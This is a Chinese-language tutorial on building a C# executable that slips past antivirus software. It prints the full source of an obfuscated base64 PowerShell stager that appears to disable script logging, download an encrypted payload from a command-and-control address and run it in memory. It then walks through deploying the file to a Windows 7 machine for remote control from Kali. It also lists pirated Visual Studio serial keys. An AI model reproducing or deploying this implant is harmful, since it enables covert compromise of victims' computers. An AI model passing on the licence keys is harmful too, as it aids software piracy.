1. cshare 文件过杀毒软件
官网下载地址:
http://download.microsoft.com/download/B/0/F/B0F589ED-F1B7-478C-849A-02C8395D0995/VS2012_ULT_chs.iso
百度网盘下载:
链接:http://pan.baidu.com/share/link?shareid=2791352524&uk=604321482
密码:6q04
Visual Studio 2012旗舰版序列号:
YKCW6-BPFPF-BT8C9-7DCTH-QXGWC
RBCXF-CVBGR-382MK-DFHJ4-C69G8
然后info查看信息
设置监听器
usestager windows/csharp_exe
在tmp目录复制项目打包文件 解压到本地
用vs2012 打开cmd.sln
/*
*
* You may compile this in Visual Studio or SharpDevelop etc.
*
*
*
*
*/
using System;
using System.Text;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace cmd
{
class Program
{
public static void Main(string[] args)
{
var a = "xxxxxxxxxxxxxxxxxxxxxxxxxx";
string stager = "SQBGACgAJABQAFMAVgBlAHIAcwBJAE8AbgBUAEEAQgBsAEUALgBQAFMAVgBlAHIAUwBJAE8AbgAuAE0AQQBKAE8AcgAgAC0AZwBFACAAMwApAHsAJABHAFAARgA9AFsAcgBFAEYAXQAuAEEAcwBTAGUATQBCAGwAeQAuAEcAZQBUAFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAGUAdABGAEkARQBgAGwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAGUAdABWAEEATAB1AEUAKAAkAG4AdQBMAGwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQ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wAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAEIAeABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAHIAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADAALgAxADIANQA6ADgAOAA4ADgAJwA7ACQAdAA9ACcALwBhAGQAbQBpAG4ALwBnAGUAdAAuAHAAaABwACcAOwAkAHcAQwAuAEgARQBBAGQARQByAHMALgBBAEQAZAAoACIAQwBvAG8AawBpAGUAIgAsACIAcwBlAHMAcwBpAG8AbgA9AEUAQQBGAG0AeQBxADUAbwBpAHkAeAA3AFkANwB4AE4ATAA0AFAAUAB4AFEAawB0ACsAKwBZAD0AIgApADsAJABEAGEAVABhAD0AJABXAEMALgBEAG8AdwBuAGwAbwBhAGQARABhAFQAYQAoACQAUwBFAFIAKwAkAFQAKQA7ACQASQB2AD0AJABkAEEAVABhAFsAMAAuAC4AMwBdADsAJABkAEEAVABhAD0AJABEAEEAdABBAFsANAAuAC4AJABEAGEAVABhAC4AbABFAE4ARwBUAGgAXQA7AC0ASgBPAGkAbgBbAEMAaABBAHIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAVABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=";
var decodedScript = Encoding.Unicode.GetString(Convert.FromBase64String(stager));
var b = "aaaaaaaaaaaaaaaaaaaa";
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
pipeline.Commands.AddScript(decodedScript);
pipeline.Commands.Add("Out-String");
pipeline.Invoke();
}
}
}
点击重新生成,把windows应用程序改成控制台应用程序
把cmd.exe文件复制出来
然后把它发送到window7上面,开始病毒软件测试
复制到c盘,然后在cmd进行运行,注意此时已把文件名改为xxx.exe
namespace xxx
此时查看kali有显示
进来查看主机所有进程
运行的时候已经把它注入到内存里面了